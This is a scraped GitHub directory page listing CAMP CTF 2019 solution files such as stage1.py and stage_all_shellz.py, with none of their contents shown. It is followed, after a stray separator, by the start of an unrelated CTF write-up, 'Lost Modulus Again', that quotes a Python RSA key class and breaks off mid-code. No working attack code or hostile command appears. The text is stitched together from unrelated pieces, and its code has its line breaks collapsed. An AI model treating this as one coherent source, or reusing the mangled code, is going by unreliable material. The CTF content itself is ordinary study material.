<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/OlfillasOdikno/CAMP-CTF-2019/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":205657999,"originating_url":"https://github.com/OlfillasOdikno/CAMP-CTF-2019/tree/master/solutions/Enterprise%20(Nexantic)%20DevOps","user_id":null}}" data-hydro-click-hmac="a73b9ca34a62c8129a8bcf9e2a1b225100c047d749b61de413bb8546100c0a1e"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/OlfillasOdikno/CAMP-CTF-2019/refs" cache-key="v0:1567333932.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="T2xmaWxsYXNPZGlrbm8vQ0FNUC1DVEYtMjAxOQ==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/OlfillasOdikno/CAMP-CTF-2019/refs" cache-key="v0:1567333932.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="T2xmaWxsYXNPZGlrbm8vQ0FNUC1DVEYtMjAxOQ==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CAMP-CTF-2019</span></span></span><span>/</span><span><span>solutions</span></span><span>/</span>Enterprise (Nexantic) DevOps<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CAMP-CTF-2019</span></span></span><span>/</span><span><span>solutions</span></span><span>/</span>Enterprise (Nexantic) DevOps<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/OlfillasOdikno/CAMP-CTF-2019/tree-commit/6429138d222e4417187eaacd2e0bdfc23337a9e4/solutions/Enterprise%20(Nexantic)%20DevOps" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/OlfillasOdikno/CAMP-CTF-2019/file-list/master/solutions/Enterprise%20(Nexantic)%20DevOps"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>document.pdf</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>document2.pdf</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn.mp4</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>stage1.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>stage3.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>stage_all_shellz.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Lost Modulus Again
## Challange
Consider the following class:
```pythonclass Key: def __init__(self, bits): assert bits >= 512 self.p = getPrime(bits) self.q = getPrime(bits) self.n = self.p * self.q self.e = 0x100007 self.d = inverse(self.e, (self.p-1)*(self.q-1)) self.dmp1 = self.d%(self.p-1) self.dmq1 = self.d%(self.q-1) self.iqmp = inverse(self.q, self.p) self.ipmq = inverse(self.p, self.q)
def encrypt(self, data): num = bytes_to_long(data) result = pow(num, self.e, self.n) return long_to_bytes(result)
def decrypt(self, data): num = bytes_to_long(data) v1 = pow(num, self.dmp1, self.p) v2 = pow(num, self.dmq1, self.q) result = (v2*self.p*self.ipmq+v1*self.q*self.iqmp) % self.n return long_to_bytes(result)
